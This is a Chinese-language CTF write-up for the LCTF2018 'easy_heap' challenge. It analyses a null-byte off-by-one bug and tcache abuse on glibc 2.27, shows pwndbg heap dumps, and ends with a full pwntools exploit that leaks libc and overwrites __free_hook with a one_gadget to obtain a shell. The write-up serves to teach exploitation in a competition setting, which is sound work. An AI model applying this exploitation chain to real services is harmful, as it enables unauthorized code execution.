LCTF2018-easypwn-詳細解析
前言
聽說一血有pwnhub註冊碼拿就去試著打了一下週末的這場LCTF,結果作為簽到題選手(笑)連簽到題的一血都拿不到可能這就是命吧,不過遇到了一題不錯的pwn,就詳細的記錄下解題思路和技巧吧
easy pwn
先看下給的檔案的基本資訊
➜easy_heap file easy_heap easy_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a94f7ec039023e90d619f61acca68dd0863486c4, stripped ➜easy_heap checksec easy_heap [*] '/home/Ep3ius/pwn/process/easy_heap/easy_heap' Arch:amd64-64-little RELRO:Partial RELRO Stack:Canary found NX:NX enabled PIE:PIE enabled
64位程式防護基本全開,接著我們ida看下程式反編譯的結果
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int choice; // eax init_0(); chunk_menu = calloc(0xA0uLL, 1uLL); if ( !chunk_menu ) { puts("init error!"); exit_(); } while ( 1 ) { while ( 1 ) { menu(); choice = read_input(); if ( choice != 2 ) break; delete(); } if ( choice > 2 ) { if ( choice == 3 ) { show(); } else if ( choice == 4 ) { exit_(); } } else if ( choice == 1 ) { new(); } } }
我們可以看到這是一個基礎的選單型程式,這裡比較在意的是程式先calloc了一個0xa0大小的堆塊,我們先了解下malloc和 calloc的區別主要在於calloc在動態分配完記憶體後,自動初始化該記憶體空間為零,而malloc不初始化,裡邊資料是隨機的垃圾資料。
void new() { __int64 v0; // rbx __int64 idx; // [rsp+0h] [rbp-20h] int idxa; // [rsp+0h] [rbp-20h] unsigned int chunk_size; // [rsp+4h] [rbp-1Ch] unsigned __int64 v4; // [rsp+8h] [rbp-18h] v4 = __readfsqword(0x28u); LODWORD(idx) = 0; while ( idx <= 9 && *(16LL * idx + chunk_menu) ) LODWORD(idx) = idx + 1; if ( idx == 10 ) { puts("full!"); } else { v0 = chunk_menu; *(v0 + 16LL * idx) = malloc(0xF8uLL); if ( !*(16LL * idx + chunk_menu) ) { puts("malloc error!"); exit_(); } printf("size n> ", idx, v4); chunk_size = read_input(); if ( chunk_size > 0xF8 ) exit_(); *(16LL * idxa + chunk_menu + 8) = chunk_size; printf("content n> "); read_input_content(*(16LL * idxa + chunk_menu), *(16LL * idxa + chunk_menu + 8)); } }
我們可以看到可以new的chunk的數量是最多時10個,並且malloc的新chunk位置都是在開頭calloc的chunk後面,並且content的輸入方式單獨寫了個函式,我們跟進去看看
void __fastcall read_input_content(_BYTE *input, int chunk_size) { unsigned int i; // [rsp+14h] [rbp-Ch] i = 0; if ( chunk_size ) { while ( 1 ) { read(0, &input[i], 1uLL); if ( chunk_size - 1 < i || !input[i] || input[i] == 'n' ) break; ++i; } input[i] = 0; input[chunk_size] = 0;#null byte off-by-one } else { *input = 0; } }
我們結合前面的SIZE_MAX = 0xF8和malloc的都是0xF8可以發現,當我們new一個size=0xF8的chunk時他會把input[0xf8]賦值為0,但這就相當於把下一個chunk的size位覆蓋了一個位元組,我們具體除錯一下
#poc new(0x10,'aaaa') #0 new(0x10,'aaaa') #1 free(0) new(0xf8,'a'*0xf8) #0
pwndbg> parseheap addrprevsizestatusfdbk 0x558c833fa0000x00x250UsedNoneNone 0x558c833fa2500x00xb0UsedNoneNone 0x558c833fa3000x00x100UsedNoneNone 0x558c833fa4000x00x100UsedNoneNone pwndbg> x/8x 0x558c833fa400 0x558c833fa400:0x00000000000000000x0000000000000101 0x558c833fa410:0x00000000626262620x0000000000000000 0x558c833fa420:0x00000000000000000x0000000000000000 0x558c833fa430:0x00000000000000000x0000000000000000 # new(0xf8,'a'*0xf8) pwndbg> parseheap addrprevsizestatusfdbk 0x558c833fa0000x00x250UsedNoneNone 0x558c833fa2500x00xb0UsedNoneNone 0x558c833fa3000x00x100Freed 0x61616161616161610x6161616161616161 0x558c833fa4000x61616161616161610x100UsedNoneNone pwndbg> x/8x 0x558c833fa400 0x558c833fa400:0x61616161616161610x0000000000000100<== null byte overwrite 0x558c833fa410:0x00000000626262620x0000000000000000 0x558c833fa420:0x00000000000000000x0000000000000000 0x558c833fa430:0x00000000000000000x0000000000000000 pwndbg>
我們可以看到chunk1的size位確實被x00所覆蓋了,也證明確實只要size=0xf8就可以overwrite一位元組到下一個chunk的size位
接著我們看下delete和show函式
void delete() { unsigned int idx; // [rsp+4h] [rbp-Ch] printf("index n> "); idx = read_input(); if ( idx > 9 || !*(16LL * idx + chunk_menu) ) exit_(); memset(*(16LL * idx + chunk_menu), 0, *(16LL * idx + chunk_menu + 8)); free(*(16LL * idx + chunk_menu)); *(16LL * idx + chunk_menu + 8) = 0; *(16LL * idx + chunk_menu) = 0LL; }
void show() { unsigned int idx; // [rsp+4h] [rbp-Ch] printf("index n> "); idx = read_input(); if ( idx > 9 || !*(16LL * idx + chunk_menu) ) exit_(); puts(*(16LL * idx + chunk_menu)); }
中規中矩,沒有什麼問題
分析完了在這裡卡了很久,後來在調題目給的libc時秉持著瞎貓一般是能碰到死耗子的原則查了下libc的版本,結果還真的找到了是2.27
要考慮tcache,馬上切了個環境去除錯(在這之前快被各種double free報錯搞死了,哭)
我們先佈局好7、8、9號堆
new_tcache() new(0x10,'aaaa') #7 new(0x10,'bbbb') #8 new(0x10,'cccc') #9 free_tcache() free(7) free(8) free(9)
然後下面的操作看上去可能會很繞但想明白了就很明瞭了,我們先把0-6從tcache取出new好7、8、9號堆後再放回tcache後把chunk7釋放這時我們再看下chunk7的狀態
pwndbg> parseheap addrprevsizestatusfdbk 0x5649651420000x00x250UsedNoneNone 0x5649651422500x00xb0UsedNoneNone 0x5649651423000x00x100UsedNoneNone 0x5649651424000x00x100UsedNoneNone 0x5649651425000x00x100UsedNoneNone 0x5649651426000x00x100UsedNoneNone 0x5649651427000x00x100UsedNoneNone 0x5649651428000x00x100UsedNoneNone 0x5649651429000x00x100UsedNoneNone 0x564965142a000x00x100Freed0x7fa21366eca00x7fa21366eca0 0x564965142b000x1000x100UsedNoneNone 0x564965142c000x2000x100UsedNoneNone pwndbg> x/8x 0x564965142a00 0x564965142a00:0x00000000000000000x0000000000000101 0x564965142a10:0x00007fa21366eca00x00007fa21366eca0 0x564965142a20:0x00000000000000000x0000000000000000 0x564965142a30:0x00000000000000000x0000000000000000 pwndbg>
已經把main_arena放入在chunk裡了,這時我們再把tcache清空後free8再重新取回來讓chunk8_size=0xf8觸發null byte off-by-one覆蓋chunk9的previnuse位為0,讓我們看下chunk現在的情況
pwndbg> parseheap addrprevsizestatusfdbk 0x556bf9a1e0000x00x250UsedNoneNone 0x556bf9a1e2500x00xb0UsedNoneNone 0x556bf9a1e3000x00x100UsedNoneNone 0x556bf9a1e4000x00x100UsedNoneNone 0x556bf9a1e5000x00x100UsedNoneNone 0x556bf9a1e6000x00x100UsedNoneNone 0x556bf9a1e7000x00x100UsedNoneNone 0x556bf9a1e8000x00x100UsedNoneNone 0x556bf9a1e9000x00x100UsedNoneNone 0x556bf9a1ea000x00x100Freed0x7f003ff88ca00x7f003ff88ca0 0x556bf9a1eb000x1000x100Freed 0x746972777265766f0x392065 0x556bf9a1ec000x2000x100UsedNoneNone pwndbg> x/8x 0x556bf9a1ea00 0x556bf9a1ea00:0x00000000000000000x0000000000000101 0x556bf9a1ea10:0x00007f003ff88ca00x00007f003ff88ca0 0x556bf9a1ea20:0x00000000000000000x0000000000000000 0x556bf9a1ea30:0x00000000000000000x0000000000000000 pwndbg> x/8x 0x556bf9a1eb00 0x556bf9a1eb00:0x00000000000001000x0000000000000100 0x556bf9a1eb10:0x746972777265766f0x0000000000392065 0x556bf9a1eb20:0x00000000000000000x0000000000000000 0x556bf9a1eb30:0x00000000000000000x0000000000000000 pwndbg> x/8x 0x556bf9a1ec00 0x556bf9a1ec00:0x00000000000002000x0000000000000100 0x556bf9a1ec10:0x00000000636363630x0000000000000000 0x556bf9a1ec20:0x00000000000000000x0000000000000000 0x556bf9a1ec30:0x00000000000000000x0000000000000000
這時我們可以看到chunk9的pre_size位位0x200chunk9的previnuse位也為0,就可以嘗試一波unlink了,先把tcache填滿,再free9後,我們再看下chunk
pwndbg> parseheap addrprevsizestatusfdbk 0x5624364b40000x00x250UsedNoneNone 0x5624364b42500x00xb0UsedNoneNone 0x5624364b43000x00x100UsedNoneNone 0x5624364b44000x00x100UsedNoneNone 0x5624364b45000x00x100UsedNoneNone 0x5624364b46000x00x100UsedNoneNone 0x5624364b47000x00x100UsedNoneNone 0x5624364b48000x00x100UsedNoneNone 0x5624364b49000x00x100UsedNoneNone
我們接著把tcache清空,新建chunk9和overwrite到chunk8的chunk7,再把chunk6和chunk9釋放掉後,這時chunk7裡存的就是heap地址了,show(7)便可以洩露heapbase
pwndbg> parseheap addrprevsizestatusfdbk 0x55fe2fe460000x00x250UsedNoneNone 0x55fe2fe462500x00xb0UsedNoneNone 0x55fe2fe463000x00x100UsedNoneNone 0x55fe2fe464000x00x100UsedNoneNone 0x55fe2fe465000x00x100UsedNoneNone 0x55fe2fe466000x00x100UsedNoneNone 0x55fe2fe467000x00x100UsedNoneNone 0x55fe2fe468000x00x100UsedNoneNone 0x55fe2fe469000x00x100UsedNoneNone 0x55fe2fe46a000x00x100UsedNoneNone 0x55fe2fe46b000x1000x100UsedNoneNone pwndbg> x/8x 0x55fe2fe46b00 0x55fe2fe46b00:0x00000000000001000x0000000000000101 0x55fe2fe46b10:0x000055fe2fe46310 <==0x0000000000000000 0x55fe2fe46b20:0x00000000000000000x0000000000000000 0x55fe2fe46b30:0x00000000000000000x0000000000000000
之後就是想辦法去洩露libc地址了,這步也卡了很久,本來是想通過tcache_dup修改chunk7裡的資料改成那個存著libc地址的地址,後來發現真的被自己蠢哭,最後我是把chunk_menu也就是一開始calloc的0xb0的chunk裡面chunk7的指標通過tcache_dup改成存著libc地址的chunk再leak出來
pwndbg> heapinfo (0x20)fastbin[0]: 0x0 (0x30)fastbin[1]: 0x0 (0x40)fastbin[2]: 0x0 (0x50)fastbin[3]: 0x0 (0x60)fastbin[4]: 0x0 (0x70)fastbin[5]: 0x0 (0x80)fastbin[6]: 0x0 (0x90)fastbin[7]: 0x0 (0xa0)fastbin[8]: 0x0 (0xb0)fastbin[9]: 0x0 top: 0x565551ed3c00 (size : 0x20400) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x100)tcache_entry[14]:0x565551ed3b10 --> 0x565551ed3b10 (overlap chunk with 0x565551ed3b00(freed) ) pwndbg> parseheap addrprevsizestatusfdbk 0x565551ed30000x00x250UsedNoneNone 0x565551ed32500x00xb0UsedNoneNone 0x565551ed33000x00x100UsedNoneNone 0x565551ed34000x00x100UsedNoneNone 0x565551ed35000x00x100UsedNoneNone 0x565551ed36000x00x100UsedNoneNone 0x565551ed37000x00x100UsedNoneNone 0x565551ed38000x00x100UsedNoneNone 0x565551ed39000x00x100UsedNoneNone 0x565551ed3a000x00x100UsedNoneNone 0x565551ed3b000x1000x100UsedNoneNone pwndbg>
在洩露出了libc地址後基本就是為所欲為了,重新做個tcache_dup把free_hook修改成one_gadget就直接getshell了,這裡貼上exp
from pwn import* context(os='linux',arch='amd64',log_level='debug') n = process('./easy_heap') #n = remote('118.25.150.134',6666) elf = ELF('./easy_heap') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def new_0(): n.recvuntil('which command?n> ') n.sendline("1") n.recvuntil('> ') n.sendline('0') def new(size,content): n.recvuntil('which command?n> ') n.sendline("1") n.recvuntil('size n> ') n.sendline(str(size)) n.recvuntil('content n> ') n.sendline(content) def free(idx): n.recvuntil('which command?n> ') n.sendline("2") n.recvuntil('index n> ') n.sendline(str(idx)) def show(idx): n.recvuntil('which command?n> ') n.sendline("3") n.recvuntil('index n> ') n.sendline(str(idx)) def new_tcache(): for i in range(7): new(0x10,'aaaa') def free_tcache(): for i in range(0,7): free(i) new_tcache() new(0x10,'aaaa') #7 new(0x10,'bbbb') #8 new(0x10,'cccc') #9 free_tcache() free(7) free(8) free(9) new_tcache() new(0x10,'aaaa') #7 new(0x10,'bbbb') #8 new(0x10,'cccc') #9 free_tcache() free(7) new_tcache() free(8) new(0xf8,'overwrite 9') free_tcache() free(9) new_tcache() new(0x10,'aaaa') #9 new(0x10,'bbbb') #7(8) free(6) free(9) show(7) heap_base = u64(n.recv(6)+'x00x00') print hex(heap_base) free(7) new(0xf0,p64(heap_base-64)) #7 new(0xf0,'aaaa') #7_2 new(0xf0,p64(heap_base+0x700+0x8)) show(7) libc_base = u64(n.recv(6)+'x00x00') - 0x3ebca0 print hex(libc_base) free_hook = libc.symbols['__free_hook']+libc_base print "free_hook",hex(free_hook) one_gadget = libc_base + 0x4f322 free(6) free(9) new(0xf0,p64(free_hook)) new(0xf0,'aaaa') new(0xf0,p64(one_gadget)) n.interactive()
總結
這次LCTF學到了不少,感謝丁佬沒打死我還告訴我除錯得出來puts出來的是裡面的值裡面不是指標,下次一定要好好學習跟上大哥們的解題速度